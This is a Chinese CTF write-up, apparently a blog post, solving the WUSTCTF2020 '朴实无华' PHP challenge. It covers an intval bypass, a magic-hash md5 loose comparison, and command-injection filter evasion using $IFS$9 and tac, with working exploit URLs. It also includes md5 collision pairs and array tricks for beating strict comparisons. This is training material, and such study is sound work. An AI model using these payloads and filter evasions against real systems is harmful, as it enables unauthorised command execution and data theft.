WUSTCTF2020-朴实无华1 启动靶机并访问,发现啥也没有,访问/url/robots.txt
找到个/fAke_f1agggg.php
访问一下
发现不是flag,我们抓包看看,抓http://ac5d9feb-9ba3-4337-97aa-811aa139dfa0.node5.buuoj.cn:81/fAke_f1agggg.php的包
发现一个/fl4g.php
我们访问一下,要开始熟悉的代码审计了,这里在谷歌浏览器一堆乱码,在火狐里打开按alt然后点查看,修复页面编码即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 Warning: Cannot modify header information - headers already sent by (output started at /var /www/html/fl4g.php :2 ) in /var /www/html/fl4g.php on line 3 <img src="/img.jpg" ><?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); }if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); }if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }?> 去非洲吧
很明显最终要命令执行拿到flag,并且我们要绕过三个关卡。
首先第一个
1 2 3 4 5 6 7 8 9 10 if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); }
这里要我们用get方法传入一个num,并且intval($num)要小于2020,intval($num + 1)要大于2021。
这里使用科学计数法绕过
1 2 3 4 5 6 ?num =2e4 原理: 我们传入的值默认是字符串,而第一个intval($num )会将首个字母前的数字转化为整数,所有就会等于2,小于2020 而第二个intval($num + 1),会先将$num 即"2e4" 转化为整数20000然后加1,就会等于20001,大于2021 成功绕过
注意:这里绕过只在php7.0版本以下可行,在7.0版本以上intval(‘2e4’)的值为20000,没有上面的特性
第二个
1 2 3 4 5 6 7 8 9 if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); }
这里很明显要使$md5 == md5($md5),即可绕过,我们可以传入一些特殊的值,在php弱类型比较中0e后面只有数字的字符串
比如0e123124,在弱类型比较中都为0,所以我们需要传入一个这种类型的数,让其md5后的字符串也为0exxx的类型
1 2 3 4 5 0 e215962017 md5( '0e21596201 7') #0e291242476940776845150308577824 &md5=0e215962017
第三关
1 2 3 4 5 6 7 8 9 10 11 12 13 if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }
这里只要我们成功绕过就能执行system函数,执行我们输入的命令,但是有过滤,strstr($get_flag," ")过滤了空格,str_ireplace("cat", "wctf2020", $get_flag);过滤了’cat’。
1 2 在命令执行中,空格可以用$IFS 、${IFS} 、$IFS$1 、$IFS$9 来代替cat 命令可以用more、less、head 、tail 、sort 、ca\t、tac 代替
我们这里就用$IFS$9和tac了
最终payload:
1 2 3 4 先用ls 查看下当前目录,结合前面的payload ?num=2e4&md5=0e215962017&get_flag=ls 发现一个文件fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
1 2 读取该文件 ?num=2e4 &md5=0e215962017 &get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
拿到flag
1 flag{5f0404c6-3258 -4b55 -a741-3695ec2567a5}
知识点 intval特性(php7.0以下) 只在php7.0以下版本有效
intval中在转化字符串变量时,而将变量首个字母前的数字转化为整数,
1 2 3 4 比如echo intval('2e4' );
当在intval中进行算术运算时,比如
会先将2e4当成科学计算法,转化为数值,即20000,然后再进行运算
1 2 3 echo intval('2 e4' + 1 );
md5() md5弱类型比较 题目一:
一个字符串与md5加密 后的值相等
特性:0exxx类型字符串在php弱类型比较中的值都为0
题目要求一个字符串与md5加密 后的值相等,通过上面PHP 0e漏洞的原理,也就将此题转化成 ==>寻找一个字符串(0e开头)加密后(还是0e开头),弱比较相等。
1 2 3 4 5 6 特殊值0 e215962017 echo md5( '0e21596201 7') ; #0e291242476940776845150308577824
题目二:
两个字符串md5后进行弱类型比较相等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php header ("Content-Type:text/html;charset=utf-8" );show_source (__FILE__ );include ('flag.php' );$username = $_GET ['username' ];$password = $_GET ['password' ];if ($username != $password ){ if (md5 ($username ) == md5 ($password )){ echo 'GET_FLAG:' .$flag ; }else { echo 'md5校验出错...' ; } }else { echo '用户名密码不能相等!' ; }?> 用户名密码不能相等
题目中,要求两个字符串值不能相等,但是两个字符串经过md5加密后的值需要相等,通过上面PHP 0e漏洞的原理,也就将此题转化成 ==> 寻找两个值加密后以0e开头,且0e后面是纯数字的字符串即可,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 240610708 0 e462097431906509019562988736854 314282422 0 e990995504821699494520356953734 571579406 0 e972379832854295224118025748221 QLTHNDT 0 e405967825401955372549139051580 QNKCDZO 0 e830400451993494058024219903391 EEIZDOI 0 e782601363539291779881938479162 TUFEPMC 0 e839407194569345277863905212547 UTIPEZQ 0 e382098788231234954670291303879
md5强类型比较 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header ("Content-Type:text/html;charset=utf-8" );show_source (__FILE__ );include ('flag.php' );$username = $_GET ['username' ];$password = $_GET ['password' ];if ($username != $password ){ if (md5 ($username ) === md5 ($password )){ echo 'GET_FLAG:' .$flag ; }else { echo 'md5校验出错...' ; } }else { echo '用户名密码不能相等!' ; }?> 用户名密码不能相等!
全等运算符“===”,既比较值又比较类型,题目中“!=”意思为“不等于”,具体可查看菜鸟教程关于“!=”说明,值不相等时返回“ture”,也就是说两个参数值要不相等,两个参数在md5加密后全相等,也就是说两个参数在md5加密后不仅值相等类型也要一致,此时就无法利用PHP 0e漏洞了,需要别的方法绕过。可以利用md5在加密字符串时会warining,输出结果为NULL,传入两个数组,这样就能使两个参数在md5加密后的类型是一致的。
payload:?username[]=1&password[]=2
md5强碰撞(绕过强类型比较) 两个字符串不同,但是md5加密后的值相同,这就是md5碰撞,可以通过工具生成,这里有两个例子,可以用来绕过强类型比较
1 2 3 4 5 a= M%C9h %FF %0 E%E3 %5 C%20 %95 r%D4w %7 Br%15 %87 %D3o %A7 %B2 %1 B%DCV %B7J %3 D%C0x %3 E%7 B%95 %18 %AF %BF %A2 %00 %A8 %28 K%F3n %8 EKU%B3_Bu %93 %D8Igm %A0 %D1U %5 D%83 %60 %FB_ %07 %FE %A2 &b= M%C9h %FF %0 E%E3 %5 C%20 %95 r%D4w %7 Br%15 %87 %D3o %A7 %B2 %1 B%DCV %B7J %3 D%C0x %3 E%7 B%95 %18 %AF %BF %A2 %02 %A8 %28 K%F3n %8 EKU%B3_Bu %93 %D8Igm %A0 %D1 %D5 %5 D%83 %60 %FB_ %07 %FE %A2 a= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %00 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %55 %5 d%83 %60 %fb %5 f%07 %fe %a2 &b= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %02 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %d5 %5 d%83 %60 %fb %5 f%07 %fe %a2
算数运算配合自动类型转换 md5()遇到算数符时,会先运算,再计算结果的md5值
所以,当字符串与数字类型运算时,会将字符串转换成数字类型再参与运算,最后计算运算结果的MD5值
1 2 3 4 5 echo md5(3) .PHP_EOL ;echo md5('2' + 1) .PHP_EOL ; eccbc87e4b5ce2fe28308fd9f2a7baf3 eccbc87e4b5ce2fe28308fd9f2a7baf3
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。